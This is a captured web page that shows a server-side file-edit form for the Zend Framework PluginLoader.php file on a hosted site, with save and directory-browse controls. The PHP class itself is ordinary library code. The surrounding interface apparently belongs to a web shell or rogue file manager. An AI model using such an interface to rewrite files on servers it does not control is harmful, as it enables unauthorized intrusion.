<h2>File Contents: /home/planet5/public_html/4xpips.net/secure/library/Zend/Loader/PluginLoader.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/4xpips.net/secure/library/Zend/Loader/PluginLoader.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Loader
 * @subpackage PluginLoader
 * @copyright  Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 * @version    $Id: PluginLoader.php 24594 2012-01-05 21:27:01Z matthew $
 */

/** Zend_Loader_PluginLoader_Interface */
//--//require_once &#039;Zend/Loader/PluginLoader/Interface.php&#039;;

/** Zend_Loader */
//--//require_once &#039;Zend/Loader.php&#039;;

/**
 * Generic plugin class loader
 *
 * @category   Zend
 * @package    Zend_Loader
 * @subpackage PluginLoader
 * @copyright  Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_Loader_PluginLoader implements Zend_Loader_PluginLoader_Interface
{
    /**
     * Class map cache file
     * @var string
     */
    protected static $_includeFileCache;

    /**
     * Instance loaded plugin paths
     *
     * @var array
     */
    protected $_loadedPluginPaths = array();

    /**
     * Instance loaded plugins
     *
     * @var array
     */
    protected $_loadedPlugins = array();

    /**
     * Instance registry property
     *
     * @var array
     */
    protected $_prefixToPaths = array();

    /**
     * Statically loaded plugin path mappings
     *
     * @var array
     */
    protected static $_staticLoadedPluginPaths = array();

    /**
     * Statically loaded plugins
     *
     * @var array
     */
    protected static $_staticLoadedPlugins = array();

    /**
     * Static registry property
     *
     * @var array
     */
    protected static $_staticPrefixToPaths = array();

    /**
     * Whether to use a statically named registry for loading plugins
     *
     * @var string|null
     */
    protected $_useStaticRegistry = null;

    /**
     * Constructor
     *
     * @param array $prefixToPaths
     * @param string $staticRegistryName OPTIONAL
     */
    public function __construct(Array $prefixToPaths = array(), $staticRegistryName = null)
    {
        if (is_string($staticRegistryName) &amp;&amp; !empty($staticRegistryName)) {
            $this-&gt;_useStaticRegistry = $staticRegistryName;
            if(!isset(self::$_staticPrefixToPaths[$staticRegistryName])) {
                self::$_staticPrefixToPaths[$staticRegistryName] = array();
            }
            if(!isset(self::$_staticLoadedPlugins[$staticRegistryName])) {
                self::$_staticLoadedPlugins[$staticRegistryName] = array();
            }
        }

        foreach ($prefixToPaths as $prefix =&gt; $path) {
            $this-&gt;addPrefixPath($prefix, $path);
        }
    }

    /**
     * Format prefix for internal use
     *
     * @param  string $prefix
     * @return string
     */
    protected function _formatPrefix($prefix)
    {
        if($prefix == &quot;&quot;) {
            return $prefix;
        }

        $last = strlen($prefix) - 1;
        if ($prefix{$last} == &#039;\\&#039;) {
            return $prefix;
        }

        return rtrim($prefix, &#039;_&#039;) . &#039;_&#039;;
    }

    /**
     * Add prefixed paths to the registry of paths
     *
     * @param string $prefix
     * @param string $path
     * @return Zend_Loader_PluginLoader
     */
    public function addPrefixPath($prefix, $path)
    {
        if (!is_string($prefix) || !is_string($path)) {
            //--//require_once &#039;Zend/Loader/PluginLoader/Exception.php&#039;;
            throw new Zend_Loader_PluginLoader_Exception(&#039;Zend_Loader_PluginLoader::addPrefixPath() method only takes strings for prefix and path.&#039;);
        }

        $prefix = $this-&gt;_formatPrefix($prefix);
        $path   = rtrim($path, &#039;/\\&#039;) . &#039;/&#039;;

        if ($this-&gt;_useStaticRegistry) {
            self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry][$prefix][] = $path;
        } else {
            if (!isset($this-&gt;_prefixToPaths[$prefix])) {
                $this-&gt;_prefixToPaths[$prefix] = array();
            }
            if (!in_array($path, $this-&gt;_prefixToPaths[$prefix])) {
                $this-&gt;_prefixToPaths[$prefix][] = $path;
            }
        }
        return $this;
    }

    /**
     * Get path stack
     *
     * @param  string $prefix
     * @return false|array False if prefix does not exist, array otherwise
     */
    public function getPaths($prefix = null)
    {
        if ((null !== $prefix) &amp;&amp; is_string($prefix)) {
            $prefix = $this-&gt;_formatPrefix($prefix);
            if ($this-&gt;_useStaticRegistry) {
                if (isset(self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry][$prefix])) {
                    return self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry][$prefix];
                }

                return false;
            }

            if (isset($this-&gt;_prefixToPaths[$prefix])) {
                return $this-&gt;_prefixToPaths[$prefix];
            }

            return false;
        }

        if ($this-&gt;_useStaticRegistry) {
            return self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry];
        }

        return $this-&gt;_prefixToPaths;
    }

    /**
     * Clear path stack
     *
     * @param  string $prefix
     * @return bool False only if $prefix does not exist
     */
    public function clearPaths($prefix = null)
    {
        if ((null !== $prefix) &amp;&amp; is_string($prefix)) {
            $prefix = $this-&gt;_formatPrefix($prefix);
            if ($this-&gt;_useStaticRegistry) {
                if (isset(self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry][$prefix])) {
                    unset(self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry][$prefix]);
                    return true;
                }

                return false;
            }

            if (isset($this-&gt;_prefixToPaths[$prefix])) {
                unset($this-&gt;_prefixToPaths[$prefix]);
                return true;
            }

            return false;
        }

        if ($this-&gt;_useStaticRegistry) {
            self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry] = array();
        } else {
            $this-&gt;_prefixToPaths = array();
        }

        return true;
    }

    /**
     * Remove a prefix (or prefixed-path) from the registry
     *
     * @param string $prefix
     * @param string $path OPTIONAL
     * @return Zend_Loader_PluginLoader
     */
    public function removePrefixPath($prefix, $path = null)
    {
        $prefix = $this-&gt;_formatPrefix($prefix);
        if ($this-&gt;_useStaticRegistry) {
            $registry =&amp; self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry];
        } else {
            $registry =&amp; $this-&gt;_prefixToPaths;
        }

        if (!isset($registry[$prefix])) {
            //--//require_once &#039;Zend/Loader/PluginLoader/Exception.php&#039;;
            throw new Zend_Loader_PluginLoader_Exception(&#039;Prefix &#039; . $prefix . &#039; was not found in the PluginLoader.&#039;);
        }

        if ($path != null) {
            $pos = array_search($path, $registry[$prefix]);
            if (false === $pos) {
                //--//require_once &#039;Zend/Loader/PluginLoader/Exception.php&#039;;
                throw new Zend_Loader_PluginLoader_Exception(&#039;Prefix &#039; . $prefix . &#039; / Path &#039; . $path . &#039; was not found in the PluginLoader.&#039;);
            }
            unset($registry[$prefix][$pos]);
        } else {
            unset($registry[$prefix]);
        }

        return $this;
    }

    /**
     * Normalize plugin name
     *
     * @param  string $name
     * @return string
     */
    protected function _formatName($name)
    {
        return ucfirst((string) $name);
    }

    /**
     * Whether or not a Plugin by a specific name is loaded
     *
     * @param string $name
     * @return Zend_Loader_PluginLoader
     */
    public function isLoaded($name)
    {
        $name = $this-&gt;_formatName($name);
        if ($this-&gt;_useStaticRegistry) {
            return isset(self::$_staticLoadedPlugins[$this-&gt;_useStaticRegistry][$name]);
        }

        return isset($this-&gt;_loadedPlugins[$name]);
    }

    /**
     * Return full class name for a named plugin
     *
     * @param string $name
     * @return string|false False if class not found, class name otherwise
     */
    public function getClassName($name)
    {
        $name = $this-&gt;_formatName($name);
        if ($this-&gt;_useStaticRegistry
            &amp;&amp; isset(self::$_staticLoadedPlugins[$this-&gt;_useStaticRegistry][$name])
        ) {
            return self::$_staticLoadedPlugins[$this-&gt;_useStaticRegistry][$name];
        } elseif (isset($this-&gt;_loadedPlugins[$name])) {
            return $this-&gt;_loadedPlugins[$name];
        }

        return false;
    }

    /**
     * Get path to plugin class
     *
     * @param  mixed $name
     * @return string|false False if not found
     */
    public function getClassPath($name)
    {
        $name = $this-&gt;_formatName($name);
        if ($this-&gt;_useStaticRegistry
            &amp;&amp; !empty(self::$_staticLoadedPluginPaths[$this-&gt;_useStaticRegistry][$name])
        ) {
            return self::$_staticLoadedPluginPaths[$this-&gt;_useStaticRegistry][$name];
        } elseif (!empty($this-&gt;_loadedPluginPaths[$name])) {
            return $this-&gt;_loadedPluginPaths[$name];
        }

        if ($this-&gt;isLoaded($name)) {
            $class = $this-&gt;getClassName($name);
            $r     = new ReflectionClass($class);
            $path  = $r-&gt;getFileName();
            if ($this-&gt;_useStaticRegistry) {
                self::$_staticLoadedPluginPaths[$this-&gt;_useStaticRegistry][$name] = $path;
            } else {
                $this-&gt;_loadedPluginPaths[$name] = $path;
            }
            return $path;
        }

        return false;
    }

    /**
     * Load a plugin via the name provided
     *
     * @param  string $name
     * @param  bool $throwExceptions Whether or not to throw exceptions if the
     * class is not resolved
     * @return string|false Class name of loaded class; false if $throwExceptions
     * if false and no class found
     * @throws Zend_Loader_Exception if class not found
     */
    public function load($name, $throwExceptions = true)
    {
        $name = $this-&gt;_formatName($name);
        if ($this-&gt;isLoaded($name)) {
            return $this-&gt;getClassName($name);
        }

        if ($this-&gt;_useStaticRegistry) {
            $registry = self::$_staticPrefixToPaths[$this-&gt;_useStaticRegistry];
        } else {
            $registry = $this-&gt;_prefixToPaths;
        }

        $registry  = array_reverse($registry, true);
        $found     = false;
        $classFile = str_replace(&#039;_&#039;, DIRECTORY_SEPARATOR, $name) . &#039;.php&#039;;
        $incFile   = self::getIncludeFileCache();
        foreach ($registry as $prefix =&gt; $paths) {
            $className = $prefix . $name;

            if (class_exists($className, false)) {
                $found = true;
                break;
            }

            $paths     = array_reverse($paths, true);

            foreach ($paths as $path) {
                $loadFile = $path . $classFile;
                if (Zend_Loader::isReadable($loadFile)) {
                    include_once $loadFile;
                    if (class_exists($className, false)) {
                        if (null !== $incFile) {
                            self::_appendIncFile($loadFile);
                        }
                        $found = true;
                        break 2;
                    }
                }
            }
        }

        if (!$found) {
            if (!$throwExceptions) {
                return false;
            }

            $message = &quot;Plugin by name &#039;$name&#039; was not found in the registry; used paths:&quot;;
            foreach ($registry as $prefix =&gt; $paths) {
                $message .= &quot;\n$prefix: &quot; . implode(PATH_SEPARATOR, $paths);
            }
            //--//require_once &#039;Zend/Loader/PluginLoader/Exception.php&#039;;
            throw new Zend_Loader_PluginLoader_Exception($message);
       }

        if ($this-&gt;_useStaticRegistry) {
            self::$_staticLoadedPlugins[$this-&gt;_useStaticRegistry][$name]     = $className;
        } else {
            $this-&gt;_loadedPlugins[$name]     = $className;
        }
        return $className;
    }

    /**
     * Set path to class file cache
     *
     * Specify a path to a file that will add include_once statements for each
     * plugin class loaded. This is an opt-in feature for performance purposes.
     *
     * @param  string $file
     * @return void
     * @throws Zend_Loader_PluginLoader_Exception if file is not writable or path does not exist
     */
    public static function setIncludeFileCache($file)
    {
        if (null === $file) {
            self::$_includeFileCache = null;
            return;
        }

        if (!file_exists($file) &amp;&amp; !file_exists(dirname($file))) {
            //--//require_once &#039;Zend/Loader/PluginLoader/Exception.php&#039;;
            throw new Zend_Loader_PluginLoader_Exception(&#039;Specified file does not exist and/or directory does not exist (&#039; . $file . &#039;)&#039;);
        }
        if (file_exists($file) &amp;&amp; !is_writable($file)) {
            //--//require_once &#039;Zend/Loader/PluginLoader/Exception.php&#039;;
            throw new Zend_Loader_PluginLoader_Exception(&#039;Specified file is not writable (&#039; . $file . &#039;)&#039;);
        }
        if (!file_exists($file) &amp;&amp; file_exists(dirname($file)) &amp;&amp; !is_writable(dirname($file))) {
            //--//require_once &#039;Zend/Loader/PluginLoader/Exception.php&#039;;
            throw new Zend_Loader_PluginLoader_Exception(&#039;Specified file is not writable (&#039; . $file . &#039;)&#039;);
        }

        self::$_includeFileCache = $file;
    }

    /**
     * Retrieve class file cache path
     *
     * @return string|null
     */
    public static function getIncludeFileCache()
    {
        return self::$_includeFileCache;
    }

    /**
     * Append an include_once statement to the class file cache
     *
     * @param  string $incFile
     * @return void
     */
    protected static function _appendIncFile($incFile)
    {
        if (!file_exists(self::$_includeFileCache)) {
            $file = &#039;&lt;?php&#039;;
        } else {
            $file = file_get_contents(self::$_includeFileCache);
        }
        if (!strstr($file, $incFile)) {
            $file .= &quot;\ninclude_once &#039;$incFile&#039;;&quot;;
            file_put_contents(self::$_includeFileCache, $file);
        }
    }
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2F4xpips.net%2Fsecure%2Flibrary%2FZend%2FLoader'>⬅ Back to Directory</a>